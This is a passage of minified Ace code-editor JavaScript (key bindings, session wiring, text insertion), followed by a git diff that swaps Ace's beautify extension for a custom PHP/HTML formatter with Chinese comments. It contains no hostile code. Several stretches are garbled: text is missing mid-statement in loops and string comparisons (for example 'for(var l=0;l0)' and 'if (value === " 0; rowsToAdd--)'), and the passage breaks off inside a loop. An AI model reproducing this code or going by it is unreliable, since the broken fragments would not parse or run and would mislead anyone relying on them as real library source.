"),exec:function(h){h.navigateLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selectright",bindKey:e("Shift-Right","Shift-Right"),exec:function(h){h.getSelection().selectRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"gotoright",bindKey:e("Right","Right|Ctrl-F"),exec:function(i,h){i.navigateRight(h.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selectpagedown",bindKey:"Shift-PageDown",exec:function(h){h.selectPageDown()},readOnly:true},{name:"pagedown",bindKey:e(null,"Option-PageDown"),exec:function(h){h.scrollPageDown()},readOnly:true},{name:"gotopagedown",bindKey:e("PageDown","PageDown|Ctrl-V"),exec:function(h){h.gotoPageDown()},readOnly:true},{name:"selectpageup",bindKey:"Shift-PageUp",exec:function(h){h.selectPageUp()},readOnly:true},{name:"pageup",bindKey:e(null,"Option-PageUp"),exec:function(h){h.scrollPageUp()},readOnly:true},{name:"gotopageup",bindKey:"PageUp",exec:function(h){h.gotoPageUp()},readOnly:true},{name:"scrollup",bindKey:e("Ctrl-Up",null),exec:function(h){h.renderer.scrollBy(0,-2*h.renderer.layerConfig.lineHeight)},readOnly:true},{name:"scrolldown",bindKey:e("Ctrl-Down",null),exec:function(h){h.renderer.scrollBy(0,2*h.renderer.layerConfig.lineHeight)},readOnly:true},{name:"selectlinestart",bindKey:"Shift-Home",exec:function(h){h.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"selectlineend",bindKey:"Shift-End",exec:function(h){h.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"togglerecording",bindKey:e("Ctrl-Alt-E","Command-Option-E"),exec:function(h){h.commands.toggleRecording(h)},readOnly:true},{name:"replaymacro",bindKey:e("Ctrl-Shift-E","Command-Shift-E"),exec:function(h){h.commands.replay(h)},readOnly:true},{name:"jumptomatching",bindKey:e("Ctrl-P","Ctrl-P"),exec:function(h){h.jumpToMatching()},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:true},{name:"selecttomatching",bindKey:e("Ctrl-Shift-P","Ctrl-Shift-P"),exec:function(h){h.jumpToMatching(true)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:true},{name:"expandToMatching",bindKey:e("Ctrl-Shift-M","Ctrl-Shift-M"),exec:function(h){h.jumpToMatching(true,true)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:true},{name:"passKeysToBrowser",bindKey:e(null,null),exec:function(){},passEvent:true,readOnly:true},{name:"copy",exec:function(h){},readOnly:true},{name:"cut",exec:function(i){var h=i.getSelectionRange();i._emit("cut",h);if(!i.selection.isEmpty()){i.session.remove(h);i.clearSelection()}},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"paste",exec:function(i,h){i.$handlePaste(h)},scrollIntoView:"cursor"},{name:"removeline",bindKey:e("Ctrl-D","Command-D"),exec:function(h){h.removeLines()},scrollIntoView:"cursor",multiSelectAction:"forEachLine"},{name:"duplicateSelection",bindKey:e("Ctrl-Shift-D","Command-Shift-D"),exec:function(h){h.duplicateSelection()},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"sortlines",bindKey:e("Ctrl-Alt-S","Command-Alt-S"),exec:function(h){h.sortLines()},scrollIntoView:"selection",multiSelectAction:"forEachLine"},{name:"togglecomment",bindKey:e("Ctrl-/","Command-/"),exec:function(h){h.toggleCommentLines()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"toggleBlockComment",bindKey:e("Ctrl-Shift-/","Command-Shift-/"),exec:function(h){h.toggleBlockComment()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"modifyNumberUp",bindKey:e("Ctrl-Shift-Up","Alt-Shift-Up"),exec:function(h){h.modifyNumber(1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"modifyNumberDown",bindKey:e("Ctrl-Shift-Down","Alt-Shift-Down"),exec:function(h){h.modifyNumber(-1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"replace",bindKey:e("Ctrl-H","Command-Option-F"),exec:function(h){b.loadModule("ace/ext/searchbox",function(i){i.Search(h,true)})}},{name:"undo",bindKey:e("Ctrl-Z","Command-Z"),exec:function(h){h.undo()}},{name:"redo",bindKey:e("Ctrl-Shift-Z|Ctrl-Y","Command-Shift-Z|Command-Y"),exec:function(h){h.redo()}},{name:"copylinesup",bindKey:e("Alt-Shift-Up","Command-Option-Up"),exec:function(h){h.copyLinesUp()},scrollIntoView:"cursor"},{name:"movelinesup",bindKey:e("Alt-Up","Option-Up"),exec:function(h){h.moveLinesUp()},scrollIntoView:"cursor"},{name:"copylinesdown",bindKey:e("Alt-Shift-Down","Command-Option-Down"),exec:function(h){h.copyLinesDown()},scrollIntoView:"cursor"},{name:"movelinesdown",bindKey:e("Alt-Down","Option-Down"),exec:function(h){h.moveLinesDown()},scrollIntoView:"cursor"},{name:"del",bindKey:e("Delete","Delete|Ctrl-D|Shift-Delete"),exec:function(h){h.remove("right")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"backspace",bindKey:e("Shift-Backspace|Backspace","Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H"),exec:function(h){h.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"cut_or_delete",bindKey:e("Shift-Delete",null),exec:function(h){if(h.selection.isEmpty()){h.remove("left")}else{return false}},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestart",bindKey:e("Alt-Backspace","Command-Backspace"),exec:function(h){h.removeToLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineend",bindKey:e("Alt-Delete","Ctrl-K|Command-Delete"),exec:function(h){h.removeToLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestarthard",bindKey:e("Ctrl-Shift-Backspace",null),exec:function(i){var h=i.selection.getRange();h.start.column=0;i.session.remove(h)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineendhard",bindKey:e("Ctrl-Shift-Delete",null),exec:function(i){var h=i.selection.getRange();h.end.column=Number.MAX_VALUE;i.session.remove(h)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordleft",bindKey:e("Ctrl-Backspace","Alt-Backspace|Ctrl-Alt-Backspace"),exec:function(h){h.removeWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordright",bindKey:e("Ctrl-Delete","Alt-Delete"),exec:function(h){h.removeWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"outdent",bindKey:e("Shift-Tab","Shift-Tab"),exec:function(h){h.blockOutdent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"indent",bindKey:e("Tab","Tab"),exec:function(h){h.indent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"blockoutdent",bindKey:e("Ctrl-[","Ctrl-["),exec:function(h){h.blockOutdent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"blockindent",bindKey:e("Ctrl-]","Ctrl-]"),exec:function(h){h.blockIndent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"insertstring",exec:function(h,i){h.insert(i)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"inserttext",exec:function(i,h){i.insert(g.stringRepeat(h.text||"",h.times||1))},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"splitline",bindKey:e(null,"Ctrl-O"),exec:function(h){h.splitLine()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"transposeletters",bindKey:e("Alt-Shift-X","Ctrl-T"),exec:function(h){h.transposeLetters()},multiSelectAction:function(h){h.transposeSelections(1)},scrollIntoView:"cursor"},{name:"touppercase",bindKey:e("Ctrl-U","Ctrl-U"),exec:function(h){h.toUpperCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"tolowercase",bindKey:e("Ctrl-Shift-U","Ctrl-Shift-U"),exec:function(h){h.toLowerCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"expandtoline",bindKey:e("Ctrl-Shift-L","Command-Shift-L"),exec:function(i){var h=i.selection.getRange();h.start.column=h.end.column=0;h.end.row++;i.selection.setRange(h,false)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:true},{name:"joinlines",bindKey:e(null,null),exec:function(o){var q=o.selection.isBackwards();var p=q?o.selection.getSelectionLead():o.selection.getSelectionAnchor();var r=q?o.selection.getSelectionAnchor():o.selection.getSelectionLead();var m=o.session.doc.getLine(p.row).length;var k=o.session.doc.getTextRange(o.selection.getRange());var l=k.replace(/\n\s*/," ").length;var j=o.session.doc.getLine(p.row);for(var n=p.row+1;n<=r.row+1;n++){var h=g.stringTrimLeft(g.stringTrimRight(o.session.doc.getLine(n)));if(h.length!==0){h=" "+h}j+=h}if(r.row+1<(o.session.doc.getLength()-1)){j+=o.session.doc.getNewLineCharacter()}o.clearSelection();o.session.doc.replace(new f(p.row,0,r.row+2,0),j);if(l>0){o.selection.moveCursorTo(p.row,p.column);o.selection.selectTo(p.row,p.column+l)}else{m=o.session.doc.getLine(p.row).length>m?(m+1):m;o.selection.moveCursorTo(p.row,m)}},multiSelectAction:"forEach",readOnly:true},{name:"invertSelection",bindKey:e(null,null),exec:function(m){var k=m.session.doc.getLength()-1;var n=m.session.doc.getLine(k).length;var h=m.selection.rangeList.ranges;var j=[];if(h.length<1){h=[m.selection.getRange()]}for(var l=0;l0){this.$blockScrolling--}var y=x&&x.scrollIntoView;if(y){switch(y){case"center-animate":y="animate";case"center":this.renderer.scrollCursorIntoView(null,0.5);break;case"animate":case"cursor":this.renderer.scrollCursorIntoView();break;case"selectionPart":var u=this.selection.getRange();var v=this.renderer.layerConfig;if(u.start.row>=v.lastRow||u.end.row<=v.firstRow){this.renderer.scrollSelectionIntoView(this.selection.anchor,this.selection.lead)}break;default:break}if(y=="animate"){this.renderer.animateScrolling(this.curOp.scrollTop)}}this.prevOp=this.curOp;this.curOp=null}};this.$mergeableCommands=["backspace","del","insertstring"];this.$historyTracker=function(w){if(!this.$mergeUndoDeltas){return}var v=this.prevOp;var u=this.$mergeableCommands;var y=v.command&&(w.command.name==v.command.name);if(w.command.name=="insertstring"){var x=w.args;if(this.mergeNextCommand===undefined){this.mergeNextCommand=true}y=y&&this.mergeNextCommand&&(!/\s/.test(x)||/\s/.test(v.args));this.mergeNextCommand=true}else{y=y&&u.indexOf(w.command.name)!==-1}if(this.$mergeUndoDeltas!="always"&&Date.now()-this.sequenceStartTime>2000){y=false}if(y){this.session.mergeUndoDeltas=true}else{if(u.indexOf(w.command.name)!==-1){this.sequenceStartTime=Date.now()}}};this.setKeyboardHandler=function(w,v){if(w&&typeof w==="string"){this.$keybindingId=w;var u=this;r.loadModule(["keybinding",w],function(x){if(u.$keybindingId==w){u.keyBinding.setKeyboardHandler(x&&x.handler)}v&&v()})}else{this.$keybindingId=null;this.keyBinding.setKeyboardHandler(w);v&&v()}};this.getKeyboardHandler=function(){return this.keyBinding.getKeyboardHandler()};this.setSession=function(w){if(this.session==w){return}if(this.curOp){this.endOperation()}this.curOp={};var v=this.session;if(v){this.session.off("change",this.$onDocumentChange);this.session.off("changeMode",this.$onChangeMode);this.session.off("tokenizerUpdate",this.$onTokenizerUpdate);this.session.off("changeTabSize",this.$onChangeTabSize);this.session.off("changeWrapLimit",this.$onChangeWrapLimit);this.session.off("changeWrapMode",this.$onChangeWrapMode);this.session.off("changeFold",this.$onChangeFold);this.session.off("changeFrontMarker",this.$onChangeFrontMarker);this.session.off("changeBackMarker",this.$onChangeBackMarker);this.session.off("changeBreakpoint",this.$onChangeBreakpoint);this.session.off("changeAnnotation",this.$onChangeAnnotation);this.session.off("changeOverwrite",this.$onCursorChange);this.session.off("changeScrollTop",this.$onScrollTopChange);this.session.off("changeScrollLeft",this.$onScrollLeftChange);var u=this.session.getSelection();u.off("changeCursor",this.$onCursorChange);u.off("changeSelection",this.$onSelectionChange)}this.session=w;if(w){this.$onDocumentChange=this.onDocumentChange.bind(this);w.on("change",this.$onDocumentChange);this.renderer.setSession(w);this.$onChangeMode=this.onChangeMode.bind(this);w.on("changeMode",this.$onChangeMode);this.$onTokenizerUpdate=this.onTokenizerUpdate.bind(this);w.on("tokenizerUpdate",this.$onTokenizerUpdate);this.$onChangeTabSize=this.renderer.onChangeTabSize.bind(this.renderer);w.on("changeTabSize",this.$onChangeTabSize);this.$onChangeWrapLimit=this.onChangeWrapLimit.bind(this);w.on("changeWrapLimit",this.$onChangeWrapLimit);this.$onChangeWrapMode=this.onChangeWrapMode.bind(this);w.on("changeWrapMode",this.$onChangeWrapMode);this.$onChangeFold=this.onChangeFold.bind(this);w.on("changeFold",this.$onChangeFold);this.$onChangeFrontMarker=this.onChangeFrontMarker.bind(this);this.session.on("changeFrontMarker",this.$onChangeFrontMarker);this.$onChangeBackMarker=this.onChangeBackMarker.bind(this);this.session.on("changeBackMarker",this.$onChangeBackMarker);this.$onChangeBreakpoint=this.onChangeBreakpoint.bind(this);this.session.on("changeBreakpoint",this.$onChangeBreakpoint);this.$onChangeAnnotation=this.onChangeAnnotation.bind(this);this.session.on("changeAnnotation",this.$onChangeAnnotation);this.$onCursorChange=this.onCursorChange.bind(this);this.session.on("changeOverwrite",this.$onCursorChange);this.$onScrollTopChange=this.onScrollTopChange.bind(this);this.session.on("changeScrollTop",this.$onScrollTopChange);this.$onScrollLeftChange=this.onScrollLeftChange.bind(this);this.session.on("changeScrollLeft",this.$onScrollLeftChange);this.selection=w.getSelection();this.selection.on("changeCursor",this.$onCursorChange);this.$onSelectionChange=this.onSelectionChange.bind(this);this.selection.on("changeSelection",this.$onSelectionChange);this.onChangeMode();this.$blockScrolling+=1;this.onCursorChange();this.$blockScrolling-=1;this.onScrollTopChange();this.onScrollLeftChange();this.onSelectionChange();this.onChangeFrontMarker();this.onChangeBackMarker();this.onChangeBreakpoint();this.onChangeAnnotation();this.session.getUseWrapMode()&&this.renderer.adjustWrapLimit();this.renderer.updateFull()}else{this.selection=null;this.renderer.setSession(w)}this._signal("changeSession",{session:w,oldSession:v});this.curOp=null;v&&v._signal("changeEditor",{oldEditor:this});w&&w._signal("changeEditor",{editor:this});if(w&&w.bgTokenizer){w.bgTokenizer.scheduleStart()}};this.getSession=function(){return this.session};this.setValue=function(u,v){this.session.doc.setValue(u);if(!v){this.selectAll()}else{if(v==1){this.navigateFileEnd()}else{if(v==-1){this.navigateFileStart()}}}return u};this.getValue=function(){return this.session.getValue()};this.getSelection=function(){return this.selection};this.resize=function(u){this.renderer.onResize(u)};this.setTheme=function(v,u){this.renderer.setTheme(v,u)};this.getTheme=function(){return this.renderer.getTheme()};this.setStyle=function(u){this.renderer.setStyle(u)};this.unsetStyle=function(u){this.renderer.unsetStyle(u)};this.getFontSize=function(){return this.getOption("fontSize")||n.computedStyle(this.container,"fontSize")};this.setFontSize=function(u){this.setOption("fontSize",u)};this.$highlightBrackets=function(){if(this.session.$bracketHighlight){this.session.removeMarker(this.session.$bracketHighlight);this.session.$bracketHighlight=null}if(this.$highlightPending){return}var u=this;this.$highlightPending=true;setTimeout(function(){u.$highlightPending=false;var w=u.session;if(!w||!w.bgTokenizer){return}var x=w.findMatchingBracket(u.getCursorPosition());if(x){var v=new p(x.row,x.column,x.row,x.column+1)}else{if(w.$mode.getMatching){var v=w.$mode.getMatching(u.session)}}if(v){w.$bracketHighlight=w.addMarker(v,"ace_bracket","text")}},50)};this.$highlightTags=function(){if(this.$highlightTagPending){return}var u=this;this.$highlightTagPending=true;setTimeout(function(){u.$highlightTagPending=false;var C=u.session;if(!C||!C.bgTokenizer){return}var D=u.getCursorPosition();var B=new e(u.session,D.row,D.column);var y=B.getCurrentToken();if(!y||!/\b(?:tag-open|tag-name)/.test(y.type)){C.removeMarker(C.$tagHighlight);C.$tagHighlight=null;return}if(y.type.indexOf("tag-open")!=-1){y=B.stepForward();if(!y){return}}var F=y.value;var z=0;var v=B.stepBackward();if(v.value=="<"){do{v=y;y=B.stepForward();if(y&&y.value===F&&y.type.indexOf("tag-name")!==-1){if(v.value==="<"){z++}else{if(v.value==="=0)}else{do{y=v;v=B.stepBackward();if(y&&y.value===F&&y.type.indexOf("tag-name")!==-1){if(v.value==="<"){z++}else{if(v.value==="1)){v=false}}if(w.$highlightLineMarker&&!v){w.removeMarker(w.$highlightLineMarker.id);w.$highlightLineMarker=null}else{if(!w.$highlightLineMarker&&v){var u=new p(v.row,v.column,v.row,Infinity);u.id=w.addMarker(u,"ace_active-line","screenLine");w.$highlightLineMarker=u}else{if(v){w.$highlightLineMarker.start.row=v.row;w.$highlightLineMarker.end.row=v.row;w.$highlightLineMarker.start.column=v.column;w._signal("changeBackMarker")}}}};this.onSelectionChange=function(y){var x=this.session;if(x.$selectionMarker){x.removeMarker(x.$selectionMarker)}x.$selectionMarker=null;if(!this.selection.isEmpty()){var u=this.selection.getRange();var w=this.getSelectionStyle();x.$selectionMarker=x.addMarker(u,"ace_selection",w)}else{this.$updateHighlightActiveLine()}var v=this.$highlightSelectedWord&&this.$getSelectionHighLightRegexp();this.session.highlight(v);this._signal("changeSelection")};this.$getSelectionHighLightRegexp=function(){var A=this.session;var x=this.getSelectionRange();if(x.isEmpty()||x.isMultiLine()){return}var B=x.start.column-1;var z=x.end.column+1;var v=A.getLine(x.start.row);var u=v.length;var y=v.substring(Math.max(B,0),Math.min(z,u));if((B>=0&&/^[\w\d]/.test(y))||(z<=u&&/[\w\d]$/.test(y))){return}y=v.substring(x.start.column,x.end.column);if(!/^[\w\d]+$/.test(y)){return}var w=this.$search.$assembleRegExp({wholeWord:true,caseSensitive:true,needle:y});return w};this.onChangeFrontMarker=function(){this.renderer.updateFrontMarkers()};this.onChangeBackMarker=function(){this.renderer.updateBackMarkers()};this.onChangeBreakpoint=function(){this.renderer.updateBreakpoints()};this.onChangeAnnotation=function(){this.renderer.setAnnotations(this.session.getAnnotations())};this.onChangeMode=function(u){this.renderer.updateText();this._emit("changeMode",u)};this.onChangeWrapLimit=function(){this.renderer.updateFull()};this.onChangeWrapMode=function(){this.renderer.onResize(true)};this.onChangeFold=function(){this.$updateHighlightActiveLine();this.renderer.updateFull()};this.getSelectedText=function(){return this.session.getTextRange(this.getSelectionRange())};this.getCopyText=function(){var u=this.getSelectedText();this._signal("copy",u);return u};this.onCopy=function(){this.commands.exec("copy",this)};this.onCut=function(){this.commands.exec("cut",this)};this.onPaste=function(w,u){var v={text:w,event:u};this.commands.exec("paste",this,v)};this.$handlePaste=function(y){if(typeof y=="string"){y={text:y}}this._signal("paste",y);var z=y.text;if(!this.inMultiSelectMode||this.inVirtualSelectionMode){this.insert(z)}else{var v=z.split(/\r\n|\r|\n/);var u=this.selection.rangeList.ranges;if(v.length>u.length||v.length<2||!v[1]){return this.commands.exec("insertstring",this,z)}for(var x=u.length;x--;){var w=u[x];if(!w.isEmpty()){this.session.remove(w)}this.session.insert(w.start,v[x])}}};this.execCommand=function(v,u){return this.commands.exec(v,this,u)};this.insert=function(E,C){var D=this.session;var A=D.getMode();var F=this.getCursorPosition();if(this.getBehavioursEnabled()&&!C){var w=A.transformAction(D.getState(F.row),"insertion",this,D,E);if(w){if(E!==w.text){this.session.mergeUndoDeltas=false;this.$mergeNextCommand=false}E=w.text}}if(E=="\t"){E=this.session.getTabString()}if(!this.selection.isEmpty()){var z=this.getSelectionRange();F=this.session.remove(z);this.clearSelection()}else{if(this.session.getOverwrite()&&E.indexOf("\n")==-1){var z=new p.fromPoints(F,F);z.end.column+=E.length;this.session.remove(z)}}if(E=="\n"||E=="\r\n"){var H=D.getLine(F.row);if(F.column>H.search(/\S|$/)){var B=H.substr(F.column).search(/\S|$/);D.doc.removeInLine(F.row,F.column,F.column+B)}}this.clearSelection();var v=F.column;var y=D.getState(F.row);var H=D.getLine(F.row);var G=A.checkOutdent(y,H,E);var x=D.insert(F,E);if(w&&w.selection){if(w.selection.length==2){this.selection.setSelectionRange(new p(F.row,v+w.selection[0],F.row,v+w.selection[1]))}else{this.selection.setSelectionRange(new p(F.row+w.selection[0],w.selection[1],F.row+w.selection[2],w.selection[3]))}}if(D.getDocument().isNewLine(E)){var u=A.getNextLineIndent(y,H.slice(0,F.column),D.getTabString());D.insert({row:F.row+1,column:0},u)}if(G){A.autoOutdent(y,D,F.row) diff --git a/static/js/lib/ace/src-min-noconflict/ext-beautify.js b/static/js/lib/ace/src-min-noconflict/ext-beautify.js index 659262c..b812348 100755 --- a/static/js/lib/ace/src-min-noconflict/ext-beautify.js +++ b/static/js/lib/ace/src-min-noconflict/ext-beautify.js @@ -1,5 +1,404 @@ -ace.define("ace/ext/beautify/php_rules",["require","exports","module","ace/token_iterator"],function(e,t,n){"use strict";var r=e("ace/token_iterator").TokenIterator;t.newLines=[{type:"support.php_tag",value:""},{type:"paren.lparen",value:"{",indent:!0},{type:"paren.rparen",breakBefore:!0,value:"}",indent:!1},{type:"paren.rparen",breakBefore:!0,value:"})",indent:!1,dontBreak:!0},{type:"comment"},{type:"text",value:";"},{type:"text",value:":",context:"php"},{type:"keyword",value:"case",indent:!0,dontBreak:!0},{type:"keyword",value:"default",indent:!0,dontBreak:!0},{type:"keyword",value:"break",indent:!1,dontBreak:!0},{type:"punctuation.doctype.end",value:">"},{type:"meta.tag.punctuation.end",value:">"},{type:"meta.tag.punctuation.begin",value:"<",blockTag:!0,indent:!0,dontBreak:!0},{type:"meta.tag.punctuation.begin",value:""?r="php":i.type=="support.php_tag"&&i.value=="?>"?r="html":i.type=="meta.tag.name.style"&&r!="css"?r="css":i.type=="meta.tag.name.style"&&r=="css"?r="html":i.type=="meta.tag.name.script"&&r!="js"?r="js":i.type=="meta.tag.name.script"&&r=="js"&&(r="html"),v=e.stepForward(),v&&v.type.indexOf("meta.tag.name")==0&&(d=v.value),p.type=="support.php_tag"&&p.value==""&&(l=!1),h=c,p=i,i=v;if(i===null)break}return a}}),ace.define("ace/ext/beautify",["require","exports","module","ace/token_iterator","ace/ext/beautify/php_rules"],function(e,t,n){"use strict";var r=e("ace/token_iterator").TokenIterator,i=e("./beautify/php_rules").transform;t.beautify=function(e){var t=new r(e,0,0),n=t.getCurrentToken(),s=e.$modeId.split("/").pop(),o=i(t,s);e.doc.setValue(o)},t.commands=[{name:"beautify",exec:function(e){t.beautify(e.session)},bindKey:"Ctrl-Shift-B"}]}); - (function() { - ace.require(["ace/ext/beautify"], function() {}); - })(); - \ No newline at end of file +ace.define("ace/ext/beautify",["require","exports","module","ace/token_iterator"], function(require, exports, module) { + + /** + * 1. 分号、中括号后面换行,for里面的分号不换行 + * 2. 数组定义key=>value; 不处理里面的换行和空格及tab键 + * 3. switch case/default 后面没有break时,后面行indent还原; + * 4. switch 多个case/default并列,没有break时;后面indent处理 + * 5. +-/*.&^|%后面跟等号运算符;等号不加空格 + * 6. 块级字符串;结束标记无indent;否则语法错误 + * 7. if/else {前后多余空行去除; + * 8. try cache 中cache不换行;同else + * 9. --表达式含有{}不换行; 形如:ord($text{strlen($text)-1}); 冲突:导致行注释后括号变成注释导致语法错误; + * 10. 多行注释;注释内容不做修改 + */ + + "use strict"; + var TokenIterator = require("../token_iterator").TokenIterator; + function is(token, type) { + return token.type.lastIndexOf(type + ".xml") > -1; + } + exports.singletonTags = ["area", "base", "br", "col", "command", "embed", "hr", "html", "img", "input", "keygen", "link", "meta", "param", "source", "track", "wbr"]; + exports.blockTags = ["article", "aside", "blockquote", "body", "div", "dl", "fieldset", "footer", "form", "head", "header", "html", "nav", "ol", "p", "script", "section", "style", "table", "tbody", "tfoot", "thead", "ul"]; + + exports.beautify = function(session) { + //压缩成一行的代码; 解决迭代获取token;每行最大token数量限制 MAX_TOKEN_COUNT=2000==>500000 + var iterator = new TokenIterator(session, 0, 0); + var token = iterator.getCurrentToken(); + var tabString = session.getTabString(); + var singletonTags = exports.singletonTags; + var blockTags = exports.blockTags; + var nextToken; + var breakBefore = false; + var spaceBefore = false; + var spaceAfter = false; + var code = ""; + var value = ""; + var tagName = ""; + var depth = 0; + var lastDepth = 0; + var lastIndent = 0; + var indent = 0; + var unindent = 0; + var roundDepth = 0; + var onCaseLine = false; + var row; + var curRow = 0; + var rowsToAdd = 0; + var rowTokens = []; + var abort = false; + var i; + var indentNextLine = false; + var inTag = false; + var inCSS = false; + var inBlock = false; + var levels = {0: 0}; + var parents = {}; + + var trimNext = function() { + if (nextToken && nextToken.value && nextToken.type !== 'string.regexp'){ + nextToken.value = nextToken.value.trim(); + } + }; + + var trimLine = function() { + code = code.replace(/ +$/, ""); + }; + + var trimCode = function() { + code = code.trimRight(); + breakBefore = false; + }; + + //add by warlee; + var preToken = token; + var parentChar = []; + + while (token !== null) { + curRow = iterator.getCurrentTokenRow(); + rowTokens = iterator.$rowTokens; + nextToken = iterator.stepForward(); + + if (typeof token !== "undefined") { + value = token.value; + unindent = 0; + inCSS = (tagName === "style" || session.$modeId === "ace/mode/css"); + if (is(token, "tag-open")) { + inTag = true; + if (nextToken){ + inBlock = (blockTags.indexOf(nextToken.value) !== -1); + } + if (value === " 0; rowsToAdd--){ + code += "\n"; + } + + breakBefore = true; + if (!is(token, "comment") && !token.type.match(/^(comment|string)$/)){ + value = value.trimLeft(); + } + } + if (value) { + //add by warlee; 分号符号后换行;for括号里面的分号不换行 + if(token.type == 'text' && value.trimRight().substr(-1) == ';'){ + rowsToAdd+=1; + if (parents[depth-1] === 'for' && parentChar[parentChar.length-1] == '('){ + rowsToAdd-=1; + } + } + if (token.type=='paren.rparen' && token.value == '})'){ + rowsToAdd-=1; + } + + + if (token.type === "keyword" && value.match(/^(if|else|elseif|catch|for|foreach|while|switch)$/)) { + parents[depth] = value; + trimNext(); + spaceAfter = true; + if (value.match(/^(else|elseif|catch)$/)) { + if (code.match(/\}[\s]*$/)) { + trimCode(); + spaceBefore = true; + } + } + } else if (token.type === "paren.lparen") { + trimNext(); + if (value.substr(-1) === "{") { + spaceAfter = true; + indentNextLine = false; + if(!inTag){ + rowsToAdd = 1; + } + } + if (value.substr(0, 1) === "{") { + spaceBefore = true; + if (code.substr(-1) !== '[' && code.trimRight().substr(-1) === '[') { + trimCode(); + spaceBefore = false; + } else if (code.trimRight().substr(-1) === ')') { + trimCode(); + } else { + trimLine(); + } + } + } else if (token.type === "paren.rparen") { + unindent = 1; + if (value.substr(0, 1) === "}") { + rowsToAdd+=1;//add by warlee; }符号后换行; + //changed by warlee; switch default没有break时indent-1; + if (parents[depth-1] === 'case' || parents[depth-1] === 'default'){ + unindent++; + } + if (code.trimRight().substr(-1) === '{') { + trimCode(); + } else { + spaceBefore = true; + if (inCSS){ + //rowsToAdd+=1; + } + } + } + if (value.substr(0, 1) === "]") { + if (code.substr(-1) !== '}' && code.trimRight().substr(-1) === '}') { + spaceBefore = false; + indent++; + trimCode(); + } + } + if (value.substr(0, 1) === ")") { + if (code.substr(-1) !== '(' && code.trimRight().substr(-1) === '(') { + spaceBefore = false; + indent++; + trimCode(); + } + } + trimLine(); + } else if ((token.type === "keyword.operator" || token.type === "keyword") && value.match(/^(=|==|===|!=|!==|&&|\|\||and|or|xor|\+=|.=|>|>=|<|<=|=>)$/)) { + trimCode(); + trimNext(); + spaceBefore = true; + spaceAfter = true; + + //add by warlee; .= 中间不加空格,语法错误 + var operatorChar = ['+','-','/','*','.','&','^','|','%']; + if(trim(token.value) == '=' && operatorChar.indexOf(trim(preToken.value)) !== -1 ){ + spaceBefore = false; + } + } else if (token.type === "punctuation.operator" && value === ';') { + trimCode(); + trimNext(); + spaceAfter = true; + + if (inCSS){ + rowsToAdd++; + } + } else if (token.type === "punctuation.operator" && value.match(/^(:|,)$/)) { + trimCode(); + trimNext(); + spaceAfter = true; + breakBefore = false; + } else if (token.type === "support.php_tag" && value === "?>" && !breakBefore) { + trimCode(); + spaceBefore = true; + } else if (is(token, "attribute-name") && code.substr(-1).match(/^\s$/)) { + spaceBefore = true; + } else if (is(token, "attribute-equals")) { + trimLine(); + trimNext(); + } else if (is(token, "tag-close")) { + trimLine(); + if(value === "/>"){ + spaceBefore = true; + } + } + + //add by warlee;php tag后面换行 + if (token.type === "support.php_tag" && value.trim().substr(0,2) === " lastDepth) { + indent++; + for (i=depth; i > lastDepth; i--){ + levels[i] = indent; + } + } else if(depth < lastDepth){ + indent = levels[depth]; + } + + lastDepth = depth; + lastIndent = indent; + if(unindent){ + indent -= unindent; + } + + if (indentNextLine && !roundDepth) { + indent++; + indentNextLine = false; + } + for (i = 0; i < indent; i++){ + code += tabString; + } + } + + if (token.type === "keyword" && value.match(/^(case|default)$/)) { + //add by warlee; 只加switch第一层加indent; + if(parents[depth-1] == 'switch'){ + parents[depth] = value; + depth++; + } + } + // if (token.type === "keyword" && value.match(/^(break)$/)) { + // if(parents[depth-1] && parents[depth-1].match(/^(case|default)$/)) { + // depth--; + // } + // } + if (token.type === "paren.lparen") { + roundDepth += (value.match(/\(/g) || []).length; + depth += value.length; + + //{前面是一个变量;则{后面不换行;是函数变量; + if(value == '{' && preToken && preToken.type == 'variable'){ + rowsToAdd -=1; + } + parentChar.push(value.trim());// { (// add by warlee;当前代码块类型入栈 + } + if (token.type === "keyword" && value.match(/^(if|else|elseif|for|while)$/)) { + indentNextLine = true; + roundDepth = 0; + } else if (!roundDepth && value.trim() && token.type !== "comment"){ + indentNextLine = false; + } + + if (token.type === "paren.rparen") { + roundDepth -= (value.match(/\)/g) || []).length; + for (i = 0; i < value.length; i++) { + depth--; + //changed by warlee; switch default没有break时indent-1; + if(value.substr(i, 1)==='}' && (parents[depth]==='case' || parents[depth]==='default' ) ) { + depth--; + } + } + + //add by warlee;删除多余的配对代码块 + for (var index in parents) { 